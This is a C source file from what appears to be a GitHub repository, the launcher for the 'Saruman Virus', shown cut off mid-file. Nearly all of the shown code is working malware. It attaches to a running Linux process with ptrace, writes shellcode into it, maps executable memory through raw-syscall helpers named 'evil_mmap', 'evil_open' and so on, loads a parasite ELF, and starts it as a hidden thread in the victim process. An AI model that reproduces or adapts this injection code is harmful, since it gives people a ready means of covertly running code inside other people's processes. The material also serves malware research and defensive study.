-
Notifications
You must be signed in to change notification settings - Fork 44
/
Copy pathlauncher.c
1891 lines (1557 loc) · 52.6 KB
/
launcher.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/* * This source code serves as the parasite launcher for
* the Saruman Virus.
* <elfmaster@zoho.com>
*/
#include "saruman.h"
#include <sys/time.h>
#include <sys/wait.h>
#define STACK_TOP(x) (x - STACK_SIZE)
#define __BREAKPOINT__ __asm__ __volatile__("int3");
#define __RETURN_VALUE__(x) __asm__ __volatile__("mov %0, %%rax\n" :: "g"(x))
#define MAX_PATH 512
#define TMP_PATH "/tmp/.parasite.elf"
/*
* Any functions that we inject as shellcode into a process image
* should have the __PAYLOAD_ATTRIBUTES__, which are defined in
* saruman.h as __attribute__((align(8), __always_inline__))
* __PAYLOAD_KEYWORDS__ is defined as static int volatile
*/
__PAYLOAD_KEYWORDS__ int create_thread(void (*)(void *), void *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int load_exec(const char *,uint64_t,uint64_t,uint64_t,uint64_t,uint64_t) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_ptrace(long, long, void *, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ void * evil_mmap(void *, unsigned long, unsigned long, unsigned long, long, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void *, uint64_t, void *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_open(const char *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_fstat(long, struct stat *) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ long evil_lseek(long, long, unsigned int) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_read(long, char *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ size_t evil_write(long, void *, unsigned long) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_brk(void *addr) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int evil_mprotect(void *, size_t, int) __PAYLOAD_ATTRIBUTES__;
__PAYLOAD_KEYWORDS__ int SYS_mprotect(void *, size_t, int) __PAYLOAD_ATTRIBUTES__;
void dummy_fn(void);
int call_fn(functionPayloads_t func, handle_t *, uint64_t);
void *heapAlloc(size_t);
uint8_t * create_fn_shellcode(void (*)(), size_t);
void prepare_fn_payloads(payloads_t *, handle_t *h);
int map_elf_binary(handle_t *, const char *);
int fixup_got(handle_t *);
struct linking_info *get_reloc_data(handle_t *);
Elf64_Addr resolve_symbol(char *, uint8_t *);
Elf64_Addr get_libc_addr(int);
char * get_section_index(int, uint8_t *);
Elf64_Addr get_sym_from_libc(handle_t *, const char *);
int pt_memset(handle_t *, void *target, size_t len);
int pt_mprotect(handle_t *, void *, size_t, int);
int pt_create_thread(handle_t *h, void (*)(void *), void *, uint64_t);
int pid_detach_direct(pid_t);
void toggle_ptrace_state(handle_t *, int);
int pid_attach(handle_t *);
int pid_detach(handle_t *);
int pid_attach_stateful(handle_t *);
int pid_detach_stateful(handle_t *);
/*
* We will use these pointers to calculate
* the size of our functions. I.E bootstrap_code_size = f2 - f1;
*/
void *f1 = bootstrap_code;
void *f2 = dlopen_load_exec;
void *f3 = load_exec;
void *f4 = evil_read;
void *f5 = evil_open;
void *f6 = evil_brk;
void *f7 = evil_mmap;
void *f8 = evil_lseek;
void *f9 = evil_ptrace;
void *f10 = evil_ptrace;
void *f11 = create_thread;
void *f12 = evil_mprotect;
void *f13 = evil_write;
void *f14 = dummy_fn;
struct {
int no_dlopen;
int isargs;
} opts;
struct arginfo {
char *args[12];
int argc;
} arginfo;
void *heapAlloc(size_t len)
{
uint8_t *chunk = malloc(len);
if (chunk == NULL) {
perror("malloc");
exit(-1);
}
return chunk;
}
/*
* bootstrap_code just creates an anonymous memory
* mapping large enough to hold the parasite loading
* code.
*/
#pragma GCC push_options
#pragma GCC optimize ("O0")
__PAYLOAD_KEYWORDS__ uint64_t bootstrap_code(void * vaddr, uint64_t size, void *stack)
{
volatile void *mem;
/*
* Create a code segment at 0x00C00000 to store load_exec() function
* and other parasite preparation and loading code.
*/
mem = evil_mmap(vaddr,
PAGE_ALIGN_UP(size),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1, 0);
/*
* Create executable segment for ephemeral storage
* of code for custom procedure calls done through
* ptrace. These include syscalls (Such as SYS_mprotect)
* and other simple functions that we want to execute
* within the remote process.
*/
mem = evil_mmap((void *)PT_CALL_REGION,
PT_CALL_REGION_SIZE,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,
-1, 0);
/*
* Create stack segment that will be used by the parasite
* thread.
*/
mem = evil_mmap(stack,
STACK_SIZE,
PROT_READ|PROT_WRITE,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_GROWSDOWN,
-1, 0);
__RETURN_VALUE__(mem);
//__asm__ __volatile__("mov %0, %%rax\n" :: "g"(mem));
__BREAKPOINT__;
}
/*
* A version of load_elf_binary() that works with PIE executables
* only.
*/
#define __RTLD_DLOPEN 0x80000000 //glibc internal dlopen flag emulates dlopen behaviour
__PAYLOAD_KEYWORDS__ void * dlopen_load_exec(const char *path, void *dlopen_addr)
{
void * (*libc_dlopen_mode)(const char *, int) = dlopen_addr;
void *handle = (void *)0xfff; //initialized for debugging
handle = libc_dlopen_mode(path, __RTLD_DLOPEN|RTLD_NOW|RTLD_GLOBAL);
__RETURN_VALUE__(handle);
__BREAKPOINT__;
}
/*
* A simplified load_elf_binary() function that loads the
* position independent parasite executable into the remote
* process address space (But would work with non PIE too)
*/
__PAYLOAD_KEYWORDS__ int load_exec(const char *path,
uint64_t textVaddr,
uint64_t dataVaddr,
uint64_t textSize,
uint64_t dataSize,
uint64_t dataOffset)
{
uint64_t map_addr, brk_addr;
uint32_t off;
uint8_t *data;
volatile void *m1, *m2;
volatile int fd;
fd = evil_open(path, O_RDONLY);
m1 = evil_mmap((void *)_PAGE_ALIGN(textVaddr),
PAGE_ROUND(textSize),
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0);
/*
* Read in text segment to m1
*/
evil_read(fd, (uint8_t *)m1, textSize);
m2 = evil_mmap((void *)_PAGE_ALIGN(dataVaddr),
PAGE_ROUND(dataSize) + PAGE_SIZE,
PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS,
-1, 0);
/*
* dataOffset is offset from beginning of file to data segment
*/
evil_lseek(fd, dataOffset, SEEK_SET);
/*
* off is distance from beginning of page aligned data vaddr to start of data p_vaddr
*/
off = dataVaddr - _PAGE_ALIGN(dataVaddr);
data = (uint8_t *)(uint64_t)(m2 + off);
/*
* Read in data segment to m2
*/
evil_read(fd, data, dataSize);
brk_addr = _PAGE_ALIGN(dataVaddr) + dataSize;
evil_brk((void *)PAGE_ROUND(brk_addr));
__RETURN_VALUE__(m2);
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ int evil_read(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $0, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
__PAYLOAD_KEYWORDS__ long evil_open(const char *path, unsigned long flags)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $2, %%rax\n"
"syscall" : : "g"(path), "g"(flags));
asm ("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int evil_brk(void *addr)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $12, %%rax\n"
"syscall" : : "g"(addr));
asm("mov %%rax, %0" : "=r"(ret));
return (int)ret;
}
__PAYLOAD_KEYWORDS__ void * evil_mmap(void *addr, unsigned long len, unsigned long prot, unsigned long flags, long fd, unsigned long off)
{
long mmap_fd = fd;
unsigned long mmap_off = off;
unsigned long mmap_flags = flags;
unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov %4, %%r8\n"
"mov %5, %%r9\n"
"mov $9, %%rax\n"
"syscall\n" : : "g"(addr), "g"(len), "g"(prot), "g"(flags), "g"(mmap_fd), "g"(mmap_off));
asm ("mov %%rax, %0" : "=r"(ret));
return (void *)ret;
}
__PAYLOAD_KEYWORDS__ long evil_lseek(long fd, long offset, unsigned int whence)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $8, %%rax\n"
"syscall" : : "g"(fd), "g"(offset), "g"(whence));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ long evil_ptrace(long request, long pid, void *addr, void *data)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov $101, %%rax\n"
"syscall" : : "g"(request), "g"(pid), "g"(addr), "g"(data));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int evil_fstat(long fd, struct stat *buf)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
__PAYLOAD_KEYWORDS__ int create_thread(void (*fn)(void *), void *data, unsigned long stack)
{
long retval;
void **newstack;
// unsigned int fnAddr = (unsigned int)(uintptr_t)fn;
// fn = (void (*)(void *))((uintptr_t)fnAddr & ~(uint32_t)0x0);
newstack = (void **)stack;
*--newstack = data;
__asm__ __volatile__(
"syscall \n\t"
"test %0,%0 \n\t"
"jne 1f \n\t"
"call *%3 \n\t"
"mov %2,%0 \n\t"
"xor %%r10, %%r10\n\t"
"xor %%r8, %%r8\n\t"
"xor %%r9, %%r9 \n\t"
"int $0x80 \n\t"
"1:\t"
:"=a" (retval)
:"0" (__NR_clone),"i" (__NR_exit),
"g" (fn),
"D" (CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | SIGCHLD),
"S" (newstack));
if (retval < 0) {
retval = -1;
__RETURN_VALUE__(retval);
}
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ int evil_mprotect(void * addr, unsigned long len, int prot)
{
volatile unsigned long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $10, %%rax\n"
"syscall" : : "g"(addr), "g"(len), "g"(prot));
__asm__ volatile("mov %%rax, %0" : "=r"(ret));
}
__PAYLOAD_KEYWORDS__ int SYS_mprotect(void *addr, unsigned long len, int prot)
{
int ret = evil_mprotect(addr, len, prot);
__RETURN_VALUE__(ret);
__BREAKPOINT__;
}
__PAYLOAD_KEYWORDS__ size_t evil_write(long fd, void *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
#pragma GCC pop_options
/*
* This function is only here so we can calculate
* the size of the previous function (create_thread)
*/
void dummy_fn(void)
{
}
int waitpid2(pid_t pid, int *status, int options)
{
pid_t ret;
do {
ret = waitpid(pid, status, options);
} while (ret == -1 && errno == EINTR);
return ret;
}
void toggle_ptrace_state(handle_t *h, int state)
{
switch (state) {
case PT_ATTACHED:
printf("[+] PT_ATTACHED -> %d\n", h->tasks.pid);
h->tasks.state &= ~PT_DETACHED;
h->tasks.state |= PT_ATTACHED;
break;
case PT_DETACHED:
printf("[+] PT_DETACHED -> %d\n", h->tasks.pid);
h->tasks.state &= ~PT_ATTACHED;
h->tasks.state |= PT_DETACHED;
break;
}
}
int backup_regs_struct(handle_t *h)
{
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {
perror("PTRACE_GETREGS");
return -1;
}
memcpy((void *)&h->pt_reg, (void *)&h->orig_pt_reg, sizeof(struct user_regs_struct));
return 0;
}
int restore_regs_struct(handle_t *h)
{
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->orig_pt_reg) < 0) {
perror("PTRACE_SETREGS");
return -1;
}
return 0;
}
int pid_attach_direct(pid_t pid)
{
int status;
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_attach() failed: %s\n", strerror(errno));
return -1;
}
}
do {
if (waitpid2(pid, &status, 0) < 0)
goto detach;
if (!WIFSTOPPED(status))
goto detach;
if (WSTOPSIG(status) == SIGSTOP)
break;
if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )
goto detach;
} while(1);
printf("[+] PT_TID_ATTACHED -> %d\n", pid);
return 0;
detach:
fprintf(stderr, "pid_attach_direct() -> waitpid(): %s\n", strerror(errno));
pid_detach_direct(pid);
return -1;
}
int pid_detach_direct(pid_t pid)
{
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_detach() failed: %s\n", strerror(errno));
return -1;
}
}
printf("[+] PT_TID_DETACHED -> %d\n", pid);
return 0;
}
int pid_detach(handle_t *h)
{
pid_t pid = h->tasks.pid;
if (ptrace(PTRACE_DETACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_detach() failed: %s\n", strerror(errno));
return -1;
}
}
toggle_ptrace_state(h, PT_DETACHED);
return 0;
}
int pid_detach_stateful(handle_t *h)
{
if (h->tasks.state & PT_DETACHED)
return 0;
if (pid_detach(h) < 0)
return -1;
}
int pid_attach(handle_t *h)
{
int status;
pid_t pid = h->tasks.pid;
if (ptrace(PTRACE_ATTACH, pid, NULL, NULL) < 0) {
if (errno) {
fprintf(stderr, "ptrace: pid_attach() failed: %s\n", strerror(errno));
return -1;
}
}
do {
if (waitpid2(pid, &status, 0) < 0)
goto detach;
if (!WIFSTOPPED(status))
goto detach;
if (WSTOPSIG(status) == SIGSTOP)
break;
if ( ptrace(PTRACE_CONT, pid, 0, WSTOPSIG(status)) == -1 )
goto detach;
} while(1);
toggle_ptrace_state(h, PT_ATTACHED);
return 0;
detach:
fprintf(stderr, "pid_attach() -> waitpid(): %s\n", strerror(errno));
pid_detach(h);
return -1;
}
int pid_attach_stateful(handle_t *h)
{
if(h->tasks.state & PT_ATTACHED)
return 0;
if (pid_attach(h) < 0)
return -1;
}
int pid_read(int pid, void *dst, const void *src, size_t len)
{
int sz = len / sizeof(void *);
unsigned char *s = (unsigned char *)src;
unsigned char *d = (unsigned char *)dst;
long word;
while (sz-- != 0) {
word = ptrace(PTRACE_PEEKTEXT, pid, s, NULL);
if (word == -1 && errno) {
fprintf(stderr, "pid_read failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
*(long *)d = word;
s += sizeof(long);
d += sizeof(long);
}
return 0;
}
int pid_write(int pid, void *dest, const void *src, size_t len)
{
size_t rem = len % sizeof(void *);
size_t quot = len / sizeof(void *);
unsigned char *s = (unsigned char *) src;
unsigned char *d = (unsigned char *) dest;
while (quot-- != 0) {
if ( ptrace(PTRACE_POKEDATA, pid, d, *(void **)s) == -1 )
goto out_error;
s += sizeof(void *);
d += sizeof(void *);
}
if (rem != 0) {
long w;
unsigned char *wp = (unsigned char *)&w;
w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);
if (w == -1 && errno != 0) {
d -= sizeof(void *) - rem;
w = ptrace(PTRACE_PEEKDATA, pid, d, NULL);
if (w == -1 && errno != 0)
goto out_error;
wp += sizeof(void *) - rem;
}
while (rem-- != 0)
wp[rem] = s[rem];
if (ptrace(PTRACE_POKEDATA, pid, (void *)d, (void *)w) == -1)
goto out_error;
}
return 0;
out_error:
fprintf(stderr, "pid_write() failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
/*
* call_fn() allows one to inject a function
* (select by functionPayloads_t) into the remote
* process, and execute it. The return value for
* the function is stored in payloads.function[func].retval
*/
#define SLACK_SIZE 32
int call_fn(functionPayloads_t func, handle_t *h, uint64_t ip)
{
int i, status, argc;
Elf64_Addr entry_point;
uint8_t *shellcode;
uint8_t *sc;
size_t code_size;
struct user_regs_struct *pt_reg = &h->pt_reg;
shellcode = h->payloads.function[func].shellcode;
code_size = h->payloads.function[func].size;
argc = h->payloads.function[func].argc;
if (pid_attach_stateful(h) < 0)
return -1;
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0)
return -1;
entry_point = ip ? ip : h->payloads.function[func].target;
/*
* Which payload type?
*/
switch(h->payloads.function[func].ptype) {
case _PT_FUNCTION:
if (pid_write(h->tasks.pid, (void *)entry_point, (void *)shellcode, code_size) < 0)
return -1;
break;
case _PT_SYSCALL:
sc = (uint8_t *)alloca(ULONG_ROUND(h->payloads.function[func].size) + 16);
#if DEBUG
for (i = 0; i < code_size + 8; i++) {
printf("%02x", shellcode[i]);
if (i % 32 == 0)
printf("\n");
}
#endif
memcpy(sc, shellcode, code_size);
for (i = 0; i < 4; i++)
sc[code_size + i] = 0xCC;
code_size += 4;
if (pid_write(h->tasks.pid, (void *)entry_point, (void *)sc, code_size) < 0)
return -1;
break;
}
pt_reg->rip = entry_point;
switch(argc) {
case 1:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
break;
case 2:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
break;
case 3:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
break;
case 4:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
break;
case 5:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
pt_reg->r8 = (uintptr_t)h->payloads.function[func].args[4];
break;
case 6:
pt_reg->rdi = (uintptr_t)h->payloads.function[func].args[0];
pt_reg->rsi = (uintptr_t)h->payloads.function[func].args[1];
pt_reg->rdx = (uintptr_t)h->payloads.function[func].args[2];
pt_reg->rcx = (uintptr_t)h->payloads.function[func].args[3];
pt_reg->r8 = (uintptr_t)h->payloads.function[func].args[4];
pt_reg->r9 = (uintptr_t)h->payloads.function[func].args[5];
break;
}
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, pt_reg) < 0)
return -1;
if (ptrace(PTRACE_CONT, h->tasks.pid, NULL, NULL) < 0)
return -1;
waitpid2(h->tasks.pid, &status, 0);
if (WSTOPSIG(status) != SIGTRAP) {
fprintf(stderr, "[!] No SIGTRAP received, something went wrong. Signal: %d\n", WSTOPSIG(status));
return -1;
}
/* Get return value */
if (ptrace(PTRACE_GETREGS, h->tasks.pid, NULL, pt_reg) < 0) {
perror("PTRACE_GETREGS");
return -1;
}
h->payloads.function[func].retval = (pt_reg_t)pt_reg->rax;
return 0;
}
int pt_memset(handle_t *h, void *target, size_t len)
{
size_t i;
int sz = len / sizeof(void *);
uint64_t null = 0UL;
uint8_t *s = (uint8_t *)&null;
uint8_t *d = (uint8_t *)target;
int pid = h->tasks.pid;
while(sz-- != 0) {
long word = ptrace(PTRACE_POKETEXT, pid, d, s);
if (word == -1) {
fprintf(stderr, "ptrace_memset failed, pid: %d: %s\n", pid, strerror(errno));
return -1;
}
d += sizeof(long);
}
return 0;
}
int pt_mprotect(handle_t *h, void *addr, size_t len, int prot)
{
struct user_regs_struct pt_reg;
h->payloads.function[SYS_MPROTECT].args[0] = addr; //addr;
h->payloads.function[SYS_MPROTECT].args[1] = (void *)(uintptr_t)len;
h->payloads.function[SYS_MPROTECT].args[2] = (void *)(uintptr_t)prot;
if (call_fn(SYS_MPROTECT, h, PT_CALL_REGION) < 0) {
printf("call_fn(SYS_MPROTECT, ...) failed: %s\n", strerror(errno));
return -1;
}
return (int)h->payloads.function[SYS_MPROTECT].retval;
}
int pt_create_thread(handle_t *h, void (*fn)(void *), void *data, uint64_t stack)
{
struct user_regs_struct pt_reg;
h->payloads.function[CREATE_THREAD].args[0] = (void *)fn;
h->payloads.function[CREATE_THREAD].args[1] = data;
h->payloads.function[CREATE_THREAD].args[2] = (void *)(uint64_t)stack;
if (call_fn(CREATE_THREAD, h, 0) < 0) {
printf("call_fn(CREATE_THREAD, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("retval: %llx\n", h->payloads.function[CREATE_THREAD].retval);
return (int)h->payloads.function[CREATE_THREAD].retval;
}
static int dlopen_launch_parasite(handle_t *h)
{
struct user_regs_struct tid_regs;
int status;
void (*entry)(void *) = (void *)h->entryp;
tid_t tid;
DBG_MSG("[+] Entry point: %p\n", entry);
if (pid_attach_stateful(h) < 0)
return -1;
/*
* zero out stack segment from
*/
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->tasks.thread_count = 0;
if ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {
printf("[!] pt_create_thread() failed in process %d\n", h->tasks.pid);
exit(-1);
}
tid = h->tasks.thread[0];
printf("[+] Thread injection succeeded, tid: %d\n", h->tasks.thread[0]);
printf("[+] Saruman successfully injected program: %s\n", h->path);
return 0;
}
static int launch_parasite(handle_t *h)
{
struct user_regs_struct tid_regs;
int status;
void (*entry)(void *) = (void (*)(void *))(h->entryp + h->base);
tid_t tid;
DBG_MSG("[+] Entry point: %p\n", entry);
if (pid_attach_stateful(h) < 0)
return -1;
/*
* zero out stack segment from
*/
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->tasks.thread_count = 0;
if ((h->tasks.thread[0] = pt_create_thread(h, entry, NULL, (uintptr_t)h->stack.base)) < 0) {
printf("[!] pt_create_thread() failed in process %d\n", h->tasks.pid);
exit(-1);
}
tid = h->tasks.thread[0];
printf("[+] Thread injection succeeded, tid: %d\n", h->tasks.thread[0]);
return 0;
}
/*
* XXX This function was only to test the parasite before
* thread injection was working (Which it is now)
*/
static int launch_parasite_no_thread(handle_t *h)
{
struct user_regs_struct pt_reg = {0};
int status;
void *stackframe;
long null = 0L;
if (pid_attach_stateful(h) < 0)
return -1;
pt_memset(h, (void *)STACK_TOP(h->stack.base), STACK_SIZE);
h->pt_reg.rip = (uint64_t)h->entryp + h->base;
h->pt_reg.rsp = (uint64_t)h->stack.base;
if (ptrace(PTRACE_SETREGS, h->tasks.pid, NULL, &h->pt_reg) < 0) {
perror("PTRACE_SETREGS");
return -1;
}
return 0;
}
int run_exec_loader_dlopen(handle_t *h)
{
size_t codesize;
void *mapped;
struct user_regs_struct pt_reg;
int i;
char buf[4096];
char tmp[32], tmp2[32];
struct linking_info *linfo = h->linfo;
void *ascii_storage = (void *)((unsigned long)h->stack.base - 512);
if (pid_attach_stateful(h) < 0)
return -1;
if (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)h->path, strlen(h->path) + 16) < 0)
return -1;
if (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)
return -1;
DBG_MSG("[DEBUG]-> parasite path: %s\n", tmp);
h->payloads.function[DLOPEN_EXEC_LOADER].args[0] = (void *)ascii_storage; /* "./parasite" */
DBG_MSG("[DEBUG]-> address of __libc_dlopen_mode(): %p\n",
h->payloads.function[DLOPEN_EXEC_LOADER].args[1]);
/* NOTE: args[1] is already set to the address of function __libc_dlopen_mode() */
if (call_fn(DLOPEN_EXEC_LOADER, h, 0) < 0) {
printf("call_fn(DLOPEN_EXEC_LOADER, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("DLOPEN_EXEC_LOADER-> ret val: %llx\n", h->payloads.function[DLOPEN_EXEC_LOADER].retval);
return 0;
}
int run_exec_loader(handle_t *h)
{
size_t codesize;
void *mapped;
struct user_regs_struct pt_reg;
int i;
char buf[4096];
char tmp[32];
struct linking_info *linfo = h->linfo;
void *ascii_storage = (void *)((unsigned long)h->stack.base - 512);
if (pid_attach_stateful(h) < 0)
return -1;
if (pid_write(h->tasks.pid, (void *)ascii_storage, (void *)TMP_PATH, strlen(TMP_PATH) + 16) < 0)
return -1;
if (pid_read(h->tasks.pid, (void *)tmp, (void *)ascii_storage, strlen(h->path) + 16) < 0)
return -1;
DBG_MSG("[DEBUG]-> parasite path: %s\n", tmp);
h->payloads.function[EXEC_LOADER].args[0] = (void *)ascii_storage;
if (call_fn(EXEC_LOADER, h, 0) < 0) {
printf("call_fn(EXEC_LOADER, ...) failed: %s\n", strerror(errno));
return -1;
}
printf("ret val: %llx\n", h->payloads.function[EXEC_LOADER].retval);
/*
* XXX We no longer need this code as we handle all of the relocations
